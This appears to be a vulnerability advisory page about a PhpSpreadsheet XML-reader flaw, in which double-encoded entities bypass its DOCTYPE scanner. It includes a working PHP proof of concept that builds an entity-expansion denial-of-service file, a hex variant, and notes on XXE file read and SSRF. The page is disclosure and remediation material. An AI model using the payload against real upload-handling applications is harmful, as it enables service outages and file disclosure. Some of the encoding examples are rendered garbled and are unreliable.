CVE-2026-108357 — Vulnerability in phpoffice/phpspreadsheet
PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.50%). Schedule for your next planned update.
Does your project use an affected phpoffice/phpspreadsheet version?
Paste your composer.lock to check it for CVE-2026-108357 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#60;, the first scan decodes & to & (forming <), and the second scan decodes < to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.
Details
The vulnerability involves an interaction between three code locations:
1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:
public function scan($xml): string
{
$pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';
if (preg_match($pattern, $xml)) { // CHECK 1 (raw)
throw new Exception('Detected use of ENTITY...');
}
$xml = $this->toUtf8($xml);
if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8)
throw new Exception('Detected use of ENTITY...');
}
if ($this->callback !== null) {
$xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
}
return $xml; // <!DOCTYPE now present, never checked
}
2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:
$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content
3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:
$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
$this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);
The double-scan decode chain:
Raw file: &#60;!DOCTYPE
|
1st scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(&) = &
|
Stored: <!DOCTYPE
|
2nd scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(<) = <
|
Parser sees: <!DOCTYPE ← never detected by either scan
The unentity() callback (Xml.php, lines 54–61) protects five named entities (& < > " ') via Unicode placeholders, but numeric entities (& < & <) are not protected and are decoded by html_entity_decode().
PoC
Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:
<?php
require 'vendor/autoload.php';
// Double-encoded: &#60; survives two scan() passes
// 1st scan callback: & → & (forms <)
// 2nd scan callback: < → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);
$xml = '<?xml version="1.0"?>' . "\n"
. '<?mso-application progid="Excel.Sheet"?>' . "\n"
. '&#60;!DOCTYPE Workbook [' . "\n"
. ' &#60;!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
. ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
. ' <Worksheet ss:Name="Sheet1">' . "\n"
. ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
. ' </Worksheet>' . "\n"
. '</Workbook>';
file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
Run: php -d memory_limit=512M poc_toctou.php
Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).
Hex variant: Replace &#60; with &#x3C; — both are decoded by html_entity_decode().
Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
Impact
| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|---|---|---|
| Denial of Service (quadratic blowup) | Exploitable | Exploitable |
| Local file read via SYSTEM entity | Exploitable | Blocked by default |
| SSRF via SYSTEM entity | Exploitable | Blocked by default |
| File read when LIBXML_NOENT is used | Exploitable | Exploitable |
Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.
Advisory Timeline
- First published October 27, 2026 (30 days ago).
- Last revised October 27, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "phpoffice/phpspreadsheet:^3.10.8"
composer require "phpoffice/phpspreadsheet:^5.10.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (2)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| phpoffice/phpspreadsheet Packagist · Affected: 3.10.0, 3.10.1, 3.10.2, 3.10.3 (+14 more) | 3.10.8 |
| phpoffice/phpspreadsheet Packagist · Affected: 4.0.0, 4.1.0, 4.2.0, 4.3.0 (+14 more) | 5.10.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-611XML External Entity (XXE)MITRE
- CWE-776
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N
References
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gcWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-108357ADVISORY
- https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781WEB
- https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738WEB
- https://github.com/PHPOffice/PhpSpreadsheetPACKAGE
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8WEB
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0WEB
Frequently Asked Questions
- What is CVE-2026-108357?
- PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.3/10).
- How do I check if my project is affected by CVE-2026-108357?
- CVE-2026-108357 affects phpoffice/phpspreadsheet. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-108357 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 35.4% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-45034CRITICAL
PHPSpreadsheet has a patch bypass for CVE-2026-34084
- CVE-2026-59932HIGH
PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
- CVE-2026-108358HIGH
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
- CVE-2026-59931HIGH
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
- CVE-2026-40902HIGH
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
- CVE-2026-40863HIGH
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
- CVE-2024-45048HIGH
XXE in PHPSpreadsheet encoding is returned
- CVE-2026-108359HIGH
PhpSpreadsheet ODS Reader: Unbounded number-rows-repeated → CPU & Memory Exhaustion (DoS)